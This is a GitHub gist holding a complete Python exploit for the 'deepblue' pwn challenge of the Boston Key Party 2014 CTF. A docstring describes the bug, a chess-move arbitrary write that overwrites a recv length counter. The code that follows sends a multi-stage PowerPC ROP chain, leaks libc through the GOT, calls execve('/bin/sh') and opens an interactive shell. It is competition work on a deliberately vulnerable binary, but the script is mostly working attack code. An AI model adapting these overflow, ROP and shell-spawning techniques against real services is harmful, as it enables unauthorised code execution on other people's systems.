Skip to content

Instantly share code, notes, and snippets.

@NickStephens
Last active August 29, 2015 14:05
Show Gist options
  • Save NickStephens/1e3cb0ea6b964cbc8ec9 to your computer and use it in GitHub Desktop.
Save NickStephens/1e3cb0ea6b964cbc8ec9 to your computer and use it in GitHub Desktop.
bkp ctf 2014 deepblue writeup/exploit
#!/usr/bin/env python
'''
mike_pizza
exploit for deepblue-500
from boston key party
vulnerability:
* moving the queen piece leads to arbitrary write, however you cannot
control the value of the queen peice, so it is not a write-what-where,
just a write-where.
exploitation process:
* move the queen piece over a saved stack counter. this counter is
normally used to limit the number of bytes of read onto the stack
upon setting a new high score. We overwrite this value with a pointer
to the queen struct. This is ~0x10000000 which is pointer to the heap.
* move the rook piece back and forth to rack up points and beat the
high score. we forfeit after a certain number of moves.
* we'll be prompted to enter a our name now because we are the new
high scorer. We overwrote the count with the queen peice so the
server's recv call will try to read in ~0x10000000 bytes. This allows
us to write over saved return addresses and stack pointers. We our
stage-1 ROP payload and enough bytes to cause and EFAULT on the other
end.
stage-1 rop payload:
| ppc stores returning stack frames like this:
| saved stackpointer | -junk- | saved return address |
* ROP to a 0x10002fc3, which allows us to control the arguments
passed to the read_all_bytes function, which deepblue calls
normally when reading in a new topscorer.
Set our saved stackpointer to the bss which we control 32 bytes
of this is what allows us to control our arguments to the
0x10002fc3 call.
This first ROP will copy in our stage-2 ROP stack into the
bss and transfer control to it.
The rationale for the stage-1 rop stack is to allow us to have
known addresses to transfer the stackpointer to on function return.
stage-2 rop payload:
* Call set_top_score passing in a pointer into the GOT. This will
set the top score bss attribute to point to into the GOT.
* Call print_top_score to leak the libc address of read stored in
the GOT.
* call 0x10002fc3 again to read in our final stage-3 ROP payload
stage-3 rop payload:
* set r5 to zero with rop gadget to 0x10002a90 (set_memcpy), this
calls memcpy which zeroes out r5.
* set r3 to an address to a calculated address to "/bin/sh"
* set r4 to a pointer to zero. This value was somehow set to a padding
* call execve
'''
import socket
import struct
import string
import telnetlib
import time
got = 0x10013ff0
stack2 = 0x10014078
first_stackaddr = got
r3pop = 0x10002c44 # takes r3 off of stack
set_memcpy = 0x10002a90
read_all = 0x10002bc0
topscore_ptr = 0x10014064
source = 0x1000
set_topscore = 0x10002ab8
#print_topscore = 0x10002958
print_topscore = 0x10002968
# bkp libc
#read_off = 0x0e304c
#sys_off = 0x04dee0
#binsh_off = 0x15B38C
# my libc
read_off = 0xe4fc8
sys_off = 0x04ed40
sys_sum_off = 0x04ebe4
binsh_off = 0x15e990
execve_off = 0xbe030
# this function will attempt to
# finish the game of chess
def finishgame(s):
#moves = ("a1-a3","a0-a2","a2-d2","d2-d4","d4-d7")
moves = ("a1-a3", "a0-a2", "a2-a0", "a0-a2","a2-a0", "a0-a2", "a2-a0","x0-x0")
for move in moves:
buf = readuntil(s, "white> ")
if "Invalid Move" in buf:
return False
s.send(move)
return True
def readuntil(s, mesg):
buf = ""
while not mesg in buf:
buf += s.recv(1)
return buf
def p(v):
return struct.pack(">I", v)
while True:
s = socket.create_connection(("localhost", 2323))
readuntil(s,"white> ")
# overwrite the saved counter
s.send("e0-a-12")
if not finishgame(s):
print "Lost the game... reconnecting"
s.close()
continue
readuntil(s,"Enter your name: ")
# testing
#payload = p(read_all)*(308/4)# padding can control the stack of the
#payload = (p(read_all)*8).ljust(308, "C")
'''
payload = "A"*8
payload += p(0x1001405c)#r9
payload += p(stack2+0x20) #dest
payload += "A"*8 # 0x10002fc3 continue with readall
payload += p(stack2) #src
payload = payload.ljust(308, "C")
payload += p(stack2)
payload += "JUNK"
payload += p(set_memcpy)
payload += "A" * 50000 # cause an EFAULT on the other end
'''
# forged topscore struct of
# Patrick H
# NULL
ropstack = "".ljust(308 - 4, "Z")
# make a FUCK ton of room for printf stack frames
mult = 2000
# set the top score to a got entry
ropstack += p(0x100141d4 + (mult * 4)) # next stackframe
ropstack += "JUNK"
ropstack += p(set_topscore)
ropstack += "A"*((mult* 4) + 12)
ropstack += p(got+12) #r9
ropstack += "B" * 32
# leak the GOT by printing the top score
ropstack += p(0x1001614c) # new stack
ropstack += "JUNK"
ropstack += p(print_topscore)# copy the got now
# read in new rop stack with calculated libc offsets
# new ropstack loaded in at 0x10016174
ropstack += "C"*4
ropstack += p(0x1001615c)
ropstack += "JUNK"
ropstack += p(0x10002f3c)
ropstack += p(0x10016308)*3 # this gets put into r4 when we execve
ropstack += p(376 + 8 + 44 + 11)
size = len(ropstack) + 3
payload = "E"*12
payload += p(size)
payload = payload.ljust(308, "C")
payload += p(stack2)
payload += "JUNK"
payload += p(0x10002f3c)
payload += "F" * 0xb1c # cause an EFAULT on the other end
s.send(payload)
time.sleep(1)
s.send(ropstack)
# we should get our leaked got in the form of a top score
readuntil(s,"->")
gotentry = s.recv(64)
gotentry = gotentry.lstrip()
gotentry = gotentry.split(" ")[0]
read_addr = int(gotentry)
execve_addr = p(read_addr + (execve_off - read_off))
binsh_addr = p(read_addr + (binsh_off - read_off))
#print "0x%x" % (read_addr + (execve_off- read_off))
time.sleep(1)
# set r5
ropstackf = "".ljust(308, "M")
ropstackf += p(0x100162b8)
ropstackf += "JUNK"
ropstackf += p(set_memcpy)
ropstackf += "A"*12
ropstackf += p(0x10016368)
ropstackf += p(0x10016368)
ropstackf += "A" * 8
ropstackf += p(0x10016368 + 0x20)
ropstackf += "A"*16
# set r3
ropstackf += p(0x100162f4)
ropstackf += "JUNK"
ropstackf += p(r3pop)
ropstackf += p(0x10016308)*3
ropstackf += binsh_addr
# call execve
ropstackf += "B" * (44 - 12)
ropstackf += p(0x100183bc)
ropstackf += "JUNK"
ropstackf += execve_addr
s.send(ropstackf)
print "[+] shell dropped"
t = telnetlib.Telnet()
t.sock = s
t.interact()
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment